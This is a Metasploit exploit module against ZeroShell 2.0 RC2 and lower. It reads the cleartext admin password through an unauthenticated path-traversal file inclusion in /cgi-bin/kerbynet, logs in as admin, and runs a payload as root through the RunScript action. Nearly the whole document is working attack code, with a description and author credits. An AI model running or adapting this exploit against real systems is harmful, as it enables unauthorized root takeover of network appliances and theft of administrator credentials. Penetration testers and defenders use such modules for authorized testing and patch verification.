ZeroShell Remote Code Execution

`##  
# This file is part of the Metasploit Framework and may be subject to  
# redistribution and commercial restrictions. Please see the Metasploit  
# Framework web site for more information on licensing and terms of use.  
# http://metasploit.com/framework/  
##  
  
require 'msf/core'  
  
class Metasploit3 < Msf::Exploit::Remote  
Rank = ExcellentRanking  
  
include Msf::Exploit::Remote::HttpClient  
include Msf::Exploit::CmdStagerEcho  
include Msf::Exploit::EXE  
  
def initialize(info={})  
super(update_info(info,  
'Name' => "ZeroShell Remote Code Execution",  
'Description' => %q{  
This module exploits a vulnerability found in ZeroShell 2.0 RC2 and lower.  
It will leverage an unauthenticated local file inclusion vulnerability in the  
"/cgi-bin/kerbynet" url. The file retrieved is "/var/register/system/ldap/rootpw".  
This file contains the admin password in cleartext. The password is used to login  
as the admin user. After the authentication process is complete it will use the  
RunScript action to execute the payload with root privileges.  
},  
'License' => MSF_LICENSE,  
'Author' =>  
[  
'Yann CAM', # Discovery, PoC  
'xistence <xistence[at]0x90.nl>' # Metasploit module  
],  
'References' =>  
[  
[ 'URL', 'http://packetstormsecurity.com/files/122799/ZeroShell-2.0RC2-File-Disclosure-Command-Execution.html' ]  
],  
'Platform' => ['linux'],  
'Arch' => ARCH_X86,  
'Targets' =>  
[  
['ZeroShell 2.0 RC2', {}]  
],  
'Privileged' => true,  
'DisclosureDate' => "Sep 22 2013",  
'DefaultTarget' => 0))  
  
register_options(  
[  
OptString.new('TARGETURI', [true, 'The base path to the ZeroShell instance', '/'])  
], self.class)  
end  
  
def uri  
return target_uri.path  
end  
  
def peer  
return "#{rhost}:#{rport}"  
end  
  
def check  
# Check version  
print_status("#{peer} - Trying to detect ZeroShell")  
  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri)  
})  
  
if res and res.code == 200 and res.body =~ /ZeroShell/  
print_good("ZeroShell detected")  
end  
  
unless password.nil?  
return Exploit::CheckCode::Vulnerable  
end  
  
return Exploit::CheckCode::Safe  
end  
  
# Retrieve admin password using unauthenticated LFI  
def password  
rootpw = "../../../var/register/system/ldap/rootpw"  
print_status("#{peer} - Retrieving cleartext admin password")  
res = send_request_cgi({  
'method' => 'GET',  
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),  
'vars_get' => {  
'Section' => "NoAuthREQ",  
'Action' => "Render",  
'Object' => rootpw  
}  
})  
  
if res and res.code == 200 and res.body !~ /not found/  
res.body =~ /^(.*)$/  
pass = $1  
print_status("#{peer} - Password retrieved [ #{pass} ]")  
return pass  
else  
return nil  
end  
end  
  
  
# Login using the retrieved password and grab the session key from the response body.  
def login(admin_password)  
print_status("#{peer} - Log in and retrieving session key")  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),  
'vars_post' => {  
'Action' => "StartSessionSubmit",  
'User' => "admin",  
'PW' => admin_password  
}  
})  
  
if res and res.code == 200 and res.body =~ /STk=([a-zA-Z0-9]+)&Action/  
sessionkey = $1  
print_status("#{peer} - Session key retrieved [ #{sessionkey} ]")  
return sessionkey  
else  
fail_with(Failure::Unknown, "#{peer} - Retrieving session key failed!")  
end  
end  
  
# The RunScript action will run shell commands directly with root privileges.  
def execute_command(cmd, opts)  
script_name = rand_text_alphanumeric(8)  
res = send_request_cgi({  
'method' => 'POST',  
'uri' => normalize_uri(uri, "cgi-bin", "kerbynet"),  
'vars_post' => {  
'Action' => "RunScript",  
'Section' => "Setup",  
'STk' => @session,  
'ScriptName' => script_name,  
'Script' => cmd + '&'  
}  
})  
  
if res and res.code != 200  
fail_with(Failure::Unknown, "#{peer} - Unexpected response, exploit probably failed!")  
end  
  
end  
  
def exploit  
admin_password = password  
if admin_password.nil?  
fail_with(Failure::Unknown, "#{peer} - Retrieving password failed!")  
end  
  
@session = login(admin_password)  
  
execute_cmdstager  
end  
  
end  
`